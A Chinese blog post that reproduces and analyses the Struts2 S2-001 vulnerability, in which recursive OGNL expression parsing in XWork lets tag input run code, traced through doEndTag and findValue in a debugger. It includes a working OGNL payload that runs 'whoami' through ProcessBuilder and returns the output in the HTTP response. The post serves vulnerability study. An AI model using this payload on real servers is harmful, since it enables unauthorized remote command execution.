Loading

Struts2 001 漏洞复现&分析

Struts2-001

0x01 漏洞概述

1、漏洞名称

  • 漏洞名称:Struts Remote Code Exploit

  • 漏洞编号:Struts2-001

  • 漏洞类型:Remote Code Execution

2、漏洞原理

Struts2的框架的XWork库中,对ognl表达式的解析方法是通过递归循环的方式进行解析,导致可以对输入形如%{*}的表达式字符串进行解析。

0x02 漏洞复现

测试poc

%{1+1}

image-20201103104538001

解析表达式,在返回框中返回2

image-20201103104805815

或者直接执行命令

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

执行结果

image-20201103105658877

0x03 漏洞分析

1、漏洞成因总体概览

该漏洞触发的一个因素之一是在Action执行完成之后,返回“错误”的结果到原先的带有taglib标签的jsp进行渲染,而返回的时候会对字符串进行ognl表达式递归解析。借助一个图更好理解一些

image-20201103110757876

Result配置

image-20201103111359268

我们看看execute方法的内在逻辑

image-20201103115103729

依照struts.xml当execute返回success时,将指向success.jsp,若为error将执行index.jsp,而index.jsp中的代码如下

image-20201103145506238

当其返回到index.jsp时,而jsp中有需要解析渲染的标签,又因为name中的内容为%{1+1},被当成ognl表达式执行。最后返回给index.jsp的name变量。

网上很多文章和论坛在验证这块说是当验证不通过,从而result转向原页面(index.jsp)时候会出现这个漏洞,感觉还是不够严谨,其实无论验证成功或者失败,与结果无关,真正的前提原因是无论转向哪个页面,只要出现解析标签解析输入的时候的变量name(<s:xxxx name="name">),那么payload %{*}将会进入有问题的ognl表达式解析方法中进行解析,从而造成命令执行。验证如下:

修改success.jsp,直接添加了跟index.jsp一样的内容,textfield修改为textarea

image-20201103151418345

根据LoginAction.java其逻辑既

(1)index.jsp输入

(2)LoginAction处理

(3)LoginAction返回success转向success.jsp而非index.jsp原页面

image-20201103151914314

2、 漏洞细节

后面的篇幅过多且复杂,想大概了解直接看最后看粗体字。

关于这段解析的细节,网络上很多文章都有写,从LoginAction到渲染的这段调用太复杂了,这里直接从doEndTag开始讲,力求通俗易懂。

从doEndTag开始分析,主要是因为从上面的漏洞概览上可知,该漏洞是在渲染返回的jsp中的标签的时候触发的。

请求payload

image-20201103162945732

LoginAction处理完结果返回

image-20201103162916078

doEndTag下断点

image-20201103164107722

跟进component.end()

image-20201103164211249

继续跟进evaluateParams

image-20201103165032026

findValue既解析该表达式字符串的值,此处输入的expr的值为%{name}

image-20201103170111613

表达式解析执行

image-20201103170745889

获取name的值

image-20201103170842223

通过getValue对name进行取值

image-20201103171517553

最终返回%{1+1},while循环并未中断%{1+1}再次解析。

image-20201103172019580

若expr为name则取name的值,若为1+1则直接计算其结果,若为其他的payload比如执行命令则直接执行命令。

image-20201103172216538

执行结果

image-20201103172250458

image-20201103172728677

理一理核心关键点

(1)假设输入的是其abc或者2+2字符串,进入解析时候的表达式是%{name},而getValue("name")返回值则是2+2的字字符串,再次进入循环时,被判断不是表达式直接返回给前台(漏洞没有触发)。

(2)若输入的是%{2+2},进入解析时候的表达式也是getValue("name"),getValue("name")返回的则是%{2+2},而解析方法由于是循环式的,由于判断该值依然是ognl表达式,则进一步去出2+2传达给getValue,此时的getValue("2+2"),则2+2被当作表达式执行了加法。

0x04 题外话

大部分漏洞的形成,剥离不开开发者的研发需求,而造成st2的漏洞的递归解析解析需求,个人认为从开发的角度来讲,为什么不直接只解析一层ognl表达式逻辑呢,可能是遇到了遇到了多层解析的需求?既我框架内部的其他调用需要多次递归从某个变量中取出我想要的值。总之这也开拓了我们的视野从开发者的角度是不是有类似与这种解析方式的代码同样存在这样的漏洞呢?

0x05 参考

https://xz.aliyun.com/t/2044

https://www.cnblogs.com/cenyu/p/6233942.html

https://www.angelwhu.com/paper/2015/07/24/principle-analysis-of-struts2-tag/

https://www.freebuf.com/vuls/217482.html

posted @ 2021-02-06 02:20  0x28  阅读(358)  评论(0编辑  收藏  举报